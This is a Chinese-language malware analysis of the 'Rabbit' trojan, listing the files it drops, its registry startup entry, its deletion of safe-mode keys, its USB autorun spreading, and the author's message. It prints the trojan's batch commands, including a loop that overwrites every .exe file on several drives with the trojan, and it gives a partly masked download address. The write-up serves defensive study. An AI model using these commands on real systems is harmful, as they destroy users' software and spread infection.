病毒行为：
该病毒是一个木马。该病毒会直接替换c盘program files和其他盘的exe文件。

1、生成的文件
%SystemRoot%\system32\JK.exe
%SystemRoot%\system32\loveRabbit.exe
%SystemRoot%\system32\Rabbit.exe
%SystemRoot%\system32\love.bat
%SystemRoot%\system32\msexch400.dll
%SystemRoot%\system32\loveRabbit.bat
%SystemRoot%\msconfig.inf
%SystemRoot%\msconfig1.inf
%C:%\Rabbit.exe
%C:%\AutoRun.inf


2、添加启动项
HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{4bf41072-b2b1-21c1-b5c1-0305f4155515}
HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{4bf41072-b2b1-21c1-b5c1-0305f4155515}\
"StubPath" = "%SystemRoot%\system32\JK.exe..."

3、删除下列注册表信息
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}

4、病毒作者留言
I LOVE Rabbit ,and you ? look:http://z82325777.diy.myrice.com/Rabbit.***
-----------------------------------------------
hello~
QQ:373717104
E-MAIL:z8232577@163.com
Welcome!
http://post.baidu.***/f?ct=&tn=baiduKeywordSearch&rn=&pn=&lm=&kw=%BA%DA%BF%CD&rs2=0&myselectvalue=1&word=%BA%DA%BF%CD&submit=%B0%D9%B6%C8%CB%D1%CB%F7&tb=on&tn=mozillacncb
baidu黑客吧
-------------------------------------------

5、在c，d，e，f，g盘里生成autorun启动
------------------------------------
[autorun]
Label=本地磁盘

Shellexecute=Rabbit.exe
------------------------------------

6、将该病毒生成文件设置为隐藏和系统属性
attrib +s +h %SystemRoot%\system32\msexch400.dll
attrib +s +h d:\Rabbit.exe
attrib +s +h e:\Rabbit.exe
attrib +s +h c:\Rabbit.exe
attrib +s +h f:\Rabbit.exe
attrib +s +h g:\Rabbit.exe
attrib +s +h h:\Rabbit.exe
attrib +s +h e:\AutoRun.inf
attrib +s +h f:\AutoRun.inf
attrib +s +h c:\AutoRun.inf
attrib +s +h d:\AutoRun.inf
attrib +s +h h:\AutoRun.inf
attrib +s +h g:\AutoRun.inf

7、该病毒会替换c盘program files和d，e，f，g盘中的exe文件
---------------------------------------------------------------------
FOR %%a in ( d: e: f: h: g: ) do dir /s/b %%a\*.exe>>%SystemRoot%\msconfig.inf
cd C:\Program Files
dir *.exe /s /b >>%SystemRoot%\msconfig1.inf
FOR /f "delims=" %%i in (%SystemRoot%\msconfig.inf) do copy /y "%SystemRoot%\system32\Rabbit.exe" "%%i"
FOR /f "delims=" %%i in (%SystemRoot%\msconfig1.inf) do copy /y "%SystemRoot%\system32\Rabbit.exe" "%%i"
-------------------------------------------------------------------------

8、该病毒通过u盘传播。

9、该病毒下载地址http://www.beecool.net/Rabbit.***